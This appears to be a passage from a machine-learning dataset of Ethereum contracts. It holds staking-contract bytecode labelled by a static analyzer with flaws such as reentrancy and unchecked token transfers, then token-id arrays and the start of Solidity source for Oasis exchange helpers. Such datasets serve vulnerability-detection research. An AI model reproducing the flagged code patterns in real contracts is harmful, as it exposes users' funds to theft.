5b6001600160a01b03823516916020810135918101906060810160408201356401000000008111156104bd57600080fd5b8201836020820111156104cf57600080fd5b803590602001918460018302840111640100000000831117156104f157600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550611154945050505050565b6103c86004803603602081101561054857600080fd5b503515156111bc565b61055961124e565b604080516001600160a01b039092168252519081900360200190f35b61057d61125d565b604080519115158252519081900360200190f35b6103c8600480360360608110156105a757600080fd5b506001600160a01b03813581169160208101359091169060400135611266565b61057d600480360360208110156105dd57600080fd5b50356001600160a01b031661135c565b6106136004803603602081101561060357600080fd5b50356001600160a01b0316611371565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561064f578181015183820152602001610637565b505050509050019250505060405180910390f35b6106896004803603602081101561067957600080fd5b50356001600160a01b0316611387565b60405180806020018060200180602001848103845287818151815260200191508051906020019060200280838360005b838110156106d15781810151838201526020016106b9565b50505050905001848103835286818151815260200191508051906020019060200280838360005b838110156107105781810151838201526020016106f8565b50505050905001848103825285818151815260200191508051906020019060200280838360005b8381101561074f578181015183820152602001610737565b50505050905001965050505050505060405180910390f35b6103c86004803603602081101561077d57600080fd5b5035611543565b61057d6004803603602081101561079a57600080fd5b50356001600160a01b03166115c4565b6103ae600480360360208110156107c057600080fd5b50356001600160a01b03166115dd565b6103c8600480360360208110156107e657600080fd5b50356001600160a01b03166115ef565b6103ae6116f9565b6103ae6004803603602081101561081457600080fd5b50356001600160a01b03166116ff565b6103c86004803603602081101561083a57600080fd5b503561171a565b6103c861179b565b6103ae6004803603602081101561085f57600080fd5b81019060208101813564010000000081111561087a57600080fd5b82018360208201111561088c57600080fd5b803590602001918460018302840111640100000000831117156108ae57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506117ab945050505050565b6106136004803603602081101561090557600080fd5b50356001600160a01b0316611913565b61057d611928565b61057d6004803603602081101561093357600080fd5b50356001600160a01b0316611931565b61057d611986565b6103c861198b565b6105596004803603602081101561096957600080fd5b81019060208101813564010000000081111561098457600080fd5b82018360208201111561099657600080fd5b803590602001918460018302840111640100000000831117156109b857600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550611a46945050505050565b61061360048036036020811015610a0f57600080fd5b50356001600160a01b0316611cc9565b6103c8611cde565b6103ae611d90565b610559611d96565b6103c860048036036020811015610a4d57600080fd5b50356001600160a01b0316611da5565b6103c860048036036020811015610a7357600080fd5b50356001600160a01b0316611df4565b61057d611e87565b6103ae611ead565b610559611eb3565b6103c860048036036020811015610ab157600080fd5b5035611ec2565b61057d611f43565b6103c860048036036040811015610ad657600080fd5b506001600160a01b038135169060200135611f4c565b6103c860048036036020811015610b0257600080fd5b50356001600160a01b0316611fe6565b61061361209f565b6103c860048036036040811015610b3057600080fd5b81359190810190604081016020820135640100000000811115610b5257600080fd5b820183602082011115610b6457600080fd5b80359060200191846001830284011164010000000083111715610b8657600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506120b6945050505050565b61057d6120c0565b6103c860048036036040811015610be557600080fd5b810190602081018135640100000000811115610c0057600080fd5b820183602082011115610c1257600080fd5b80359060200191846020830284011164010000000083111715610c3457600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050640100000000811115610c8457600080fd5b820183602082011115610c9657600080fd5b80359060200191846020830284011164010000000083111715610cb857600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506120c9945050505050565b61061361221a565b61057d61227c565b6103ae60048036036040811015610d1c57600080fd5b506001600160a01b0381358116916020013516612285565b610d5a60048036036020811015610d4a57600080fd5b50356001600160a01b0316612376565b604080519384526020840192909252151582820152519081900360600190f35b6103c860048036036020811015610d9057600080fd5b50356001600160a01b031661239a565b6103ae6124ea565b6103ae6124f0565b6103c860048036036020811015610dc657600080fd5b50356124f6565b6103c860048036036020811015610de357600080fd5b5035151561258a565b6103c860048036036020811015610e0257600080fd5b50356001600160a01b0316612617565b6103c860048036036020811015610e2857600080fd5b50351515612679565b6103c860048036036040811015610e4757600080fd5b506001600160a01b038135169060200135151561270b565b6105596127b1565b6103ae60048036036020811015610e7d57600080fd5b50356001600160a01b03166127c0565b60006060610e9a83611387565b50915060009050805b8251811015610edc57610ed2838281518110610ebb57fe5b6020026020010151836127fc90919063ffffffff16565b9150600101610ea3565b509150505b919050565b610ef6610ef161285d565b6115c4565b610f315760405162461bcd60e51b8152600401808060200182810382526030815260200180613c236030913960400191505060405180910390fd5b610f39612861565b565b60a054829060ff168015610f83575060a25460ff168015610f81575060a36000610f6361285d565b6001600160a01b0316815260208101919091526040016000205460ff165b155b15610fe657610f90611d90565b60a154118015610fab575080610fa4611d90565b60a1540310155b610fe65760405162461bcd60e51b8152600401808060200182810382526027815260200180613aeb6027913960400191505060405180910390fd5b609d5460ff161561113a576000609e6000610fff61285d565b6001600160a01b03168152602081019190915260400160002054609f549091501561106257600061103661103161285d565b6116ff565b905080609f541061105b57609f54611054908263ffffffff612acb16565b9150611060565b600091505b505b818110156110b7576040805162461bcd60e51b815260206004820152601f60248201527f5374616b696e674d6f64756c653a207374616b65206578656564732063617000604482015290519081900360640190fd5b6110c7818363ffffffff612acb16565b905080609e60006110d661285d565b6001600160a01b031681526020810191909152604001600020556110f861285d565b6001600160a01b03167f61e0af3caac12ccd658fedc8d6316e0c8dd2ae324eb70b713307b6395717b545826040518082815260200191505060405180910390a2505b61114f61114561285d565b84609b5485612b0d565b505050565b61115c61125d565b156111ae576040805162461bcd60e51b815260206004820152600e60248201527f55736572436170456e61626c6564000000000000000000000000000000000000604482015290519081900360640190fd5b61114f8383609b5484612b0d565b6111c7610ef161285d565b6112025760405162461bcd60e51b8152600401808060200182810382526030815260200180613c236030913960400191505060405180910390fd5b609d805460ff191682151517908190556040805160ff90921615158252517f7e03c772624261463cde49128614bbb0b24cd4b7ddb0709cd083b6525b0dad59916020908290030190a150565b6066546001600160a01b031681565b609d5460ff1690565b600054610100900460ff168061127f575061127f612b23565b8061128d575060005460ff16155b6112c85760405162461bcd60e51b815260040180806020018281038252602e815260200180613b7a602e913960400191505060405180910390fd5b600054610100900460ff161580156112f3576000805460ff1961ff0019909116610100171660011790555b609a80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b038516179055609b82905561133484612b29565b61134461133f61285d565b611fe6565b8015611356576000805461ff00191690555b50505050565b60a36020526000908152604090205460ff1681565b60608061137d83611387565b5090949350505050565b6001600160a01b0381166000908152609c60209081526040918290206001810154600282015484519190038082528084028201909301909352606092839283929183908280156113e1578160200160208202803883390190505b509050606082604051908082528060200260200182016040528015611410578160200160208202803883390190505b50905060608360405190808252806020026020018201604052801561143f578160200160208202803883390190505b5060018601549091505b600286015481101561153357600086600101548203905086600201828154811061146f57fe5b90600052602060002090600302016000015485828151811061148d57fe5b6020026020010181815250508660020182815481106114a857fe5b9060005260206000209060030201600101548482815181106114c657fe5b6020026020010181815250508660020182815481106114e157fe5b906000526020600020906003020160020160009054906101000a90046001600160a01b031683828151811061151257fe5b6001600160a01b039092166020928302919091019091015250600101611449565b5091989097509095509350505050565b61154e610ef161285d565b6115895760405162461bcd60e51b8152600401808060200182810382526030815260200180613c236030913960400191505060405180910390fd5b60a18190556040805182815290517f34b8cb4942146b9b4a77dc23de03f028ddc3dac8f1c4a787301d934759446c149181900360200190a150565b60006115d760678363ffffffff612bc716565b92915050565b609e6020526000908152604090205481565b6115f7611e87565b611648576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b03811661168d5760405162461bcd60e51b8152600401808060200182810382526022815260200180613aa86022913960400191505060405180910390fd5b606680546001600160a01b0383167fffffffffffffffffffffffff0000000000000000000000000000000000000000909116811790915560408051918252517f5b36800c27524690807962bd42525a44e68b3f860e8f9e0204f27e777d2f46059181900360200190a150565b60a15481565b6001600160a01b03166000908152609c602052604090205490565b611725610ef161285d565b6117605760405162461bcd60e51b8152600401808060200182810382526030815260200180613c236030913960400191505060405180910390fd5b60a58190556040805182815290517fb148949dae99ac379f3575fbaa7d920814f18b647a4643da7b6595850275dc579181900360200190a150565b610f396117a661285d565b612c2e565b60008080609c816117ba61285d565b6001600160a01b031681526020810191909152604001600020600101549050805b609c60006117e761285d565b6001600160a01b0316815260208101919091526040016000206002015481101561190a5742609c600061181861285d565b6001600160a01b03166001600160a01b03168152602001908152602001600020600201828154811061184657fe5b9060005260206000209060030201600001541161190257609c600061186961285d565b6001600160a01b03166001600160a01b03168152602001908152602001600020600201818154811061189757fe5b90600052602060002090600302016001015483019250611902609c60006118bc61285d565b6001600160a01b03166001600160a01b0316815260200190815260200160002060020182815481106118ea57fe5b90600052602060002090600302016001015486612c76565b6001016117db565b50909392505050565b60608061191f83611387565b50949350505050565b609d5460ff1681565b6000805b60d85481101561197d5760d8818154811061194c57fe5b6000918252602090912001546001600160a01b0384811691161415611975576001915050610ee1565b600101611935565b50600092915050565b600090565b611993611e87565b6119e4576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6033546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3603380547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b6066546000906001600160a01b0316611aa6576040805162461bcd60e51b815260206004820152600f60248201527f4d6f64756c653a206e6f20706f6f6c0000000000000000000000000000000000604482015290519081900360640190fd5b6066546040516020602482018181528551604484015285516000946060946001600160a01b03909116938893928392606401918501908083838b5b83811015611af9578181015183820152602001611ae1565b50505050905090810190601f168015611b265780820380516001836020036101000a031916815260200191505b50604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529181526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f693ec85e00000000000000000000000000000000000000000000000000000000178152905182519295509350839250908083835b60208310611beb57805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101611bae565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855afa9150503d8060008114611c4b576040519150601f19603f3d011682016040523d82523d6000602084013e611c50565b606091505b509150915081611c61578060208201fd5b6000818060200190516020811015611c7857600080fd5b505190506001600160a01b038116611cc15760405162461bcd60e51b8152600401808060200182810382526022815260200180613c016022913960400191505060405180910390fd5b949350505050565b606080611cd583611387565b95945050505050565b600054610100900460ff1680611cf75750611cf7612b23565b80611d05575060005460ff16155b611d405760405162461bcd60e51b815260040180806020018281038252602e815260200180613b7a602e913960400191505060405180910390fd5b600054610100900460ff16158015611d6b576000805460ff1961ff0019909116610100171660011790555b611d7b611d7661285d565b612c8c565b8015611d8d576000805461ff00191690555b50565b60a45490565b6033546001600160a01b031690565b611db0610ef161285d565b611deb5760405162461bcd60e51b8152600401808060200182810382526030815260200180613c236030913960400191505060405180910390fd5b611d8d81612d95565b611dfc611e87565b611e4d576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60d780547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b6033546000906001600160a01b0316611e9e61285d565b6001600160a01b031614905090565b609f5481565b60d7546001600160a01b031681565b611ecd610ef161285d565b611f085760405162461bcd60e51b8152600401808060200182810382526030815260200180613c236030913960400191505060405180910390fd5b609f8190556040805182815290517fe876068866e978b0cfadbad3499e185ebb6d8652ae075c6c2459d11da462bd269181900360200190a150565b60a05460ff1681565b611f57610ef161285d565b611f925760405162461bcd60e51b8152600401808060200182810382526030815260200180613c236030913960400191505060405180910390fd5b6001600160a01b0382166000818152609e6020908152604091829020849055815184815291517f61e0af3caac12ccd658fedc8d6316e0c8dd2ae324eb70b713307b6395717b5459281900390910190a25050565b600054610100900460ff1680611fff5750611fff612b23565b8061200d575060005460ff16155b6120485760405162461bcd60e51b815260040180806020018281038252602e815260200180613b7a602e913960400191505060405180910390fd5b600054610100900460ff16158015612073576000805460ff1961ff0019909116610100171660011790555b61207c826115c4565b6120895761208982612d95565b801561209b576000805461ff00191690555b5050565b60606120b16120ac61285d565b612ddd565b905090565b61209b8282612c76565b60a25460ff1681565b6120d4610ef161285d565b61210f5760405162461bcd60e51b8152600401808060200182810382526030815260200180613c236030913960400191505060405180910390fd5b805182511461214f5760405162461bcd60e51b8152600401808060200182810382526026815260200180613bdb6026913960400191505060405180910390fd5b60005b825181101561114f5781818151811061216757fe5b6020026020010151609e600085848151811061217f57fe5b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020819055508281815181106121b757fe5b60200260200101516001600160a01b03167f61e0af3caac12ccd658fedc8d6316e0c8dd2ae324eb70b713307b6395717b5458383815181106121f557fe5b60200260200101516040518082815260200191505060405180910390a2600101612152565b606060d880548060200260200160405190810160405280929190818152602001828054801561227257602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311612254575b5050505050905090565b60a05460ff1690565b6001600160a01b038116600090815260d96020526040812060018101546122b05760009150506115d7565b60006122bb85610e8d565b9050806122cd576000925050506115d7565b6001600160a01b03808616600090815260da602090815260408083209388168352908390528120545b845481101561236b57600085600001828154811061231057fe5b90600052602060002090600202019050600061234d8260000154612341846001015489612e6b90919063ffffffff16565b9063ffffffff612ec416565b905061235f848263ffffffff6127fc16565b935050506001016122f6565b509695505050505050565b609c6020526000908152604090208054600182015460039092015490919060ff1683565b6123a2611e87565b6123f3576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6123fc81611931565b1561244e576040805162461bcd60e51b815260206004820152601f60248201527f5374616b696e67506f6f6c3a20616c7265616479207265676973746572656400604482015290519081900360640190fd5b60d880546001810182556000919091527f5320ad99a619a90804cd2efe3a5cf0ac1ac5c41ad9ff2c61cf699efdad7710960180546001600160a01b0383167fffffffffffffffffffffffff0000000000000000000000000000000000000000909116811790915560408051918252517fce34593ca634648919e160816626a2dac47222f33d18bd1c49154fc50b929c179181900360200190a150565b609b5481565b60a55481565b6124fe611e87565b61254f576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b609b8190556040805182815290517f658a66511f3235742c6ee155bfb420cc2442a96b535319218234479dd69c81089181900360200190a150565b612595610ef161285d565b6125d05760405162461bcd60e51b8152600401808060200182810382526030815260200180613c236030913960400191505060405180910390fd5b60a2805482151560ff19909116811790915560408051918252517f6c65e7e6a4dfccd72d5c4efdb1326fe9fe6e60e5255129d1bc037b7785bf841b9181900360200190a150565b61261f611e87565b612670576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b611d8d81612f06565b612684610ef161285d565b6126bf5760405162461bcd60e51b8152600401808060200182810382526030815260200180613c236030913960400191505060405180910390fd5b60a0805460ff191682151517908190556040805160ff90921615158252517f5798b268d2c2a14ed651e7c151f479738f7d0ede0bc7ad545fca6078f114dcb9916020908290030190a150565b612716610ef161285d565b6127515760405162461bcd60e51b8152600401808060200182810382526030815260200180613c236030913960400191505060405180910390fd5b6001600160a01b038216600081815260a36020908152604091829020805460ff1916851515908117909155825190815291517f2476d186836f2842491661b47e60904466925abd46410b00412dad7dbb2c2c849281900390910190a25050565b609a546001600160a01b031690565b60a5546001600160a01b0382166000908152609c602052604081205490916115d791670de0b6b3a764000091612341919063ffffffff612e6b16565b600082820183811015612856576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b60d760009054906101000a90046001600160a01b03166001600160a01b031663372500ab6040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156128b157600080fd5b505af11580156128c5573d6000803e3d6000fd5b506000925050505b60d854811015611d8d57600060d882815481106128e657fe5b60009182526020808320909101546001600160a01b0390811680845260d9909252604090922060010154609a54919350911682141561293a5761293761292a611d90565b829063ffffffff6127fc16565b90505b604080517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015290516000916001600160a01b038516916370a0823191602480820192602092909190829003018186803b15801561299d57600080fd5b505afa1580156129b1573d6000803e3d6000fd5b505050506040513d60208110156129c757600080fd5b5051905060006129dd828463ffffffff612acb16565b905082821115612abb5760006129f1611d90565b6001600160a01b038616600081815260d96020818152604080842081518083019092528682528183018981528154600181810184558388528588209451600290920290940190815590519083015594909352520154909150612a59908363ffffffff6127fc16565b6001600160a01b038616600081815260d9602090815260409182902060010193909355805191825291810184905280820183905290517f2e5ffb53cd7a000fa085b76f6615ed4b915bc164e33e18cff35914404ae0306f9181900360600190a1505b5050600190920191506128cd9050565b600061285683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612fbf565b612b1684612ddd565b5061135684848484613056565b303b1590565b600054610100900460ff1680612b425750612b42612b23565b80612b50575060005460ff16155b612b8b5760405162461bcd60e51b815260040180806020018281038252602e815260200180613b7a602e913960400191505060405180910390fd5b600054610100900460ff16158015612bb6576000805460ff1961ff0019909116610100171660011790555b612bbe611cde565b612089826115ef565b60006001600160a01b038216612c0e5760405162461bcd60e51b8152600401808060200182810382526022815260200180613b586022913960400191505060405180910390fd5b506001600160a01b03166000908152602091909152604090205460ff1690565b612c3f60678263ffffffff61339616565b6040516001600160a01b038216907f427400d279c506df610224b22ecce89b693fc1865864113f21c8d19c1f0c2a3b90600090a250565b612c816120ac61285d565b5061209b82826133fd565b600054610100900460ff1680612ca55750612ca5612b23565b80612cb3575060005460ff16155b612cee5760405162461bcd60e51b815260040180806020018281038252602e815260200180613b7a602e913960400191505060405180910390fd5b600054610100900460ff16158015612d19576000805460ff1961ff0019909116610100171660011790555b603380547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0384811691909117918290556040519116906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3801561209b576000805461ff00191690555050565b612da660678263ffffffff61380c16565b6040516001600160a01b038216907fa7555c95b69d4f5cc847881feb4ab2883a1921319e34fa2043747b793d65b36e90600090a250565b60d8546040805182815260208084028201019091526060918015612e0b578160200160208202803883390190505b50905060005b60d854811015612e6557612e468360d88381548110612e2c57fe5b6000918252602090912001546001600160a01b031661388d565b828281518110612e5257fe5b6020908102919091010152600101612e11565b50919050565b600082612e7a575060006115d7565b82820282848281612e8757fe5b04146128565760405162461bcd60e51b8152600401808060200182810382526021815260200180613b376021913960400191505060405180910390fd5b600061285683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613a1c565b6001600160a01b038116612f4b5760405162461bcd60e51b8152600401808060200182810382526026815260200180613a826026913960400191505060405180910390fd5b6033546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3603380547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b6000818484111561304e5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613013578181015183820152602001612ffb565b50505050905090810190601f1680156130405780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b61305e61285d565b609a54604080517f23b872dd0000000000000000000000000000000000000000000000000000000081526001600160a01b038481166004830152306024830152604482018890529151879392909216916323b872dd916064808201926020929091908290030181600087803b1580156130d657600080fd5b505af11580156130ea573d6000803e3d6000fd5b505050506040513d602081101561310057600080fd5b5051613153576040805162461bcd60e51b815260206004820152600e60248201527f5374616b65207265717569726564000000000000000000000000000000000000604482015290519081900360640190fd5b609c600061315f61285d565b6001600160a01b0316815260208101919091526040016000206003015460ff166131bd576001609c600061319161285d565b6001600160a01b031681526020810191909152604001600020600301805460ff19169115159190911790555b6001600160a01b0386166000908152609c60205260409020546131e6908663ffffffff6127fc16565b6001600160a01b0387166000908152609c6020819052604082209290925561320c61285d565b6001600160a01b03166001600160a01b03168152602001908152602001600020600201604051806060016040528061324d87426127fc90919063ffffffff16565b815260208082018990526001600160a01b038a811660409384015284546001808201875560009687529583902085516003909202019081559184015194820194909455910151600290910180547fffffffffffffffffffffffff0000000000000000000000000000000000000000169190921617905560a4546132d090866127fc565b60a4556001600160a01b0386167fc65e53b88159e7d2c0fc12a0600072e28ae53ff73b4c1715369c30f16093514286613308896116ff565b866040518084815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561335257818101518382015260200161333a565b50505050905090810190601f16801561337f5780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a2505050505050565b6133a08282612bc7565b6133db5760405162461bcd60e51b8152600401808060200182810382526021815260200180613aca6021913960400191505060405180910390fd5b6001600160a01b0316600090815260209190915260409020805460ff19169055565b816000609c600061340c61285d565b6001600160a01b03166001600160a01b03168152602001908152602001600020600201609c600061343b61285d565b6001600160a01b03166001600160a01b03168152602001908152602001600020600101548154811061346957fe5b9060005260206000209060030201905042816000015411156134bc5760405162461bcd60e51b8152600401808060200182810382526025815260200180613b126025913960400191505060405180910390fd5b838160010154146134fe5760405162461bcd60e51b8152600401808060200182810382526033815260200180613ba86033913960400191505060405180910390fd5b609a546001600160a01b031663a9059cbb61351761285d565b866040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561356757600080fd5b505af115801561357b573d6000803e3d6000fd5b505050506040513d602081101561359157600080fd5b50516135e4576040805162461bcd60e51b815260206004820152601860248201527f556e61626c6520746f207769746864726177207374616b650000000000000000604482015290519081900360640190fd5b600181015460028201546001600160a01b03166000908152609c60205260409020546136159163ffffffff612acb16565b60028201546001600160a01b03166000908152609c602081905260408220929092556001830181905561364661285d565b6001600160a01b03168152602081019190915260400160002060019081018054909101905560a45461367e908563ffffffff612acb16565b60a45560028101546001600160a01b03167faf01bfc8475df280aca00b578c4a948e6d95700f0db8c13365240f7f973c8754856136ba836116ff565b866040518084815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156137045781810151838201526020016136ec565b50505050905090810190601f1680156137315780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a250609d5460ff161561114f576000609e600061375a61285d565b6001600160a01b031681526020810191909152604001600020549050613786818363ffffffff6127fc16565b9050609f548111156137975750609f545b80609e60006137a461285d565b6001600160a01b031681526020810191909152604001600020556137c661285d565b6001600160a01b03167f61e0af3caac12ccd658fedc8d6316e0c8dd2ae324eb70b713307b6395717b545826040518082815260200191505060405180910390a250505050565b6138168282612bc7565b15613868576040805162461bcd60e51b815260206004820152601f60248201527f526f6c65733a206163636f756e7420616c72656164792068617320726f6c6500604482015290519081900360640190fd5b6001600160a01b0316600090815260209190915260409020805460ff19166001179055565b6001600160a01b03808316600090815260da60209081526040808320938516835260d9909152812080549192916138c9576000925050506115d7565b60006138d58686612285565b82546001600160a01b03871660009081526020869052604090205590508015611cd5576001600160a01b038516600090815260d96020526040902060010154613924908263ffffffff612acb16565b6001600160a01b03808716600081815260d9602090815260408083206001019590955584517fa9059cbb000000000000000000000000000000000000000000000000000000008152938b166004850152602484018690529351919363a9059cbb936044808201949293918390030190829087803b1580156139a457600080fd5b505af11580156139b8573d6000803e3d6000fd5b505050506040513d60208110156139ce57600080fd5b50506040805182815290516001600160a01b0380881692908916917fe7062738465eeb94a11a1c866287066f7856dc0f5456df494663dfd4483b4c599181900360200190a395945050505050565b60008183613a6b5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315613013578181015183820152602001612ffb565b506000838581613a7757fe5b049594505050505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734d6f64756c653a20706f6f6c20616464726573732063616e2774206265207a65726f526f6c65733a206163636f756e7420646f6573206e6f74206861766520726f6c655374616b696e674d6f64756c653a207374616b6520657865656473207374616b696e67206361705468652063757272656e74207374616b65206861736e277420756e6c6f636b656420796574536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77526f6c65733a206163636f756e7420697320746865207a65726f2061646472657373436f6e747261637420696e7374616e63652068617320616c7265616479206265656e20696e697469616c697a656454686520756e7374616b6520616d6f756e7420646f6573206e6f74206d61746368207468652063757272656e74207374616b65536176696e67734d6f64756c653a20617272617973206c656e677468206e6f74206d617463684d6f64756c653a20726571756573746564206d6f64756c65206e6f7420666f756e64436170706572526f6c653a2063616c6c657220646f6573206e6f742068617665207468652043617070657220726f6c65a265627a7a7231582079de8c46c98d751d8547e8bf62bc6a732275b1fdcb3f155e768f9822cbb2d0ed64736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-state", "impact": "High", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'shadowing-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'controlled-array-length', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 20952, 2063, 24096, 25746, 3540, 24594, 2575, 2683, 2581, 2278, 2549, 2050, 2581, 2620, 2546, 10790, 27814, 2620, 2620, 2546, 2475, 12879, 2620, 2094, 2692, 9818, 2278, 2546, 2475, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1032, 18739, 1032, 8311, 1032, 3988, 21335, 3468, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1018, 1012, 2484, 1026, 1014, 1012, 1021, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3988, 21335, 3468, 1008, 1008, 1030, 16475, 2393, 2121, 3206, 2000, 2490, 3988, 17629, 4972, 1012, 2000, 2224, 2009, 1010, 5672, 1008, 1996, 9570, 2953, 2007, 1037, 3853, 2008, 2038, 1996, 1036, 3988, 17629, 1036, 16913, 18095, 1012, 1008, 5432, 1024, 4406, 9570, 5668, 1010, 3988, 17629, 4972, 2442, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,886
0x95e031d9a16eb7cb440c56076cbe07144c2233ea
pragma solidity ^0.6.0; interface OasisInterface { function getMinSell(TokenInterface pay_gem) external view returns (uint); function getBuyAmount(address dest, address src, uint srcAmt) external view returns(uint); function getPayAmount(address src, address dest, uint destAmt) external view returns (uint); } interface TokenInterface { function allowance(address, address) external view returns (uint); function balanceOf(address) external view returns (uint); function approve(address, uint) external; function transfer(address, uint) external returns (bool); function decimals() external view returns (uint); } contract DSMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, "math-not-safe"); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, "math-not-safe"); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, "sub-overflow"); } uint constant WAD = 10 ** 18; function wmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), WAD / 2) / WAD; } function wdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, WAD), y / 2) / y; } } contract Helpers is DSMath { /** * @dev get Ethereum address */ function getAddressETH() public pure returns (address) { return 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; } } contract OasisHelpers is Helpers { /** * @dev Return WETH address */ function getAddressWETH() internal pure returns (address) { return 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; } /** * @dev Return Oasis Address */ function getOasisAddr() internal pure returns (address) { return 0x794e6e91555438aFc3ccF1c5076A74F42133d08D; } function changeEthAddress(address buy, address sell) internal pure returns(TokenInterface _buy, TokenInterface _sell){ _buy = buy == getAddressETH() ? TokenInterface(getAddressWETH()) : TokenInterface(buy); _sell = sell == getAddressETH() ? TokenInterface(getAddressWETH()) : TokenInterface(sell); } function convertTo18(uint _dec, uint256 _amt) internal pure returns (uint256 amt) { amt = mul(_amt, 10 ** (18 - _dec)); } function getBuyUnitAmt( TokenInterface buyAddr, uint expectedAmt, TokenInterface sellAddr, uint sellAmt, uint slippage ) internal view returns (uint unitAmt) { uint _sellAmt = convertTo18((sellAddr).decimals(), sellAmt); uint _buyAmt = convertTo18(buyAddr.decimals(), expectedAmt); unitAmt = wdiv(_buyAmt, _sellAmt); unitAmt = wmul(unitAmt, sub(WAD, slippage)); } function getSellUnitAmt( TokenInterface sellAddr, uint expectedAmt, TokenInterface buyAddr, uint buyAmt, uint slippage ) internal view returns (uint unitAmt) { uint _buyAmt = convertTo18(buyAddr.decimals(), buyAmt); uint _sellAmt = convertTo18(sellAddr.decimals(), expectedAmt); unitAmt = 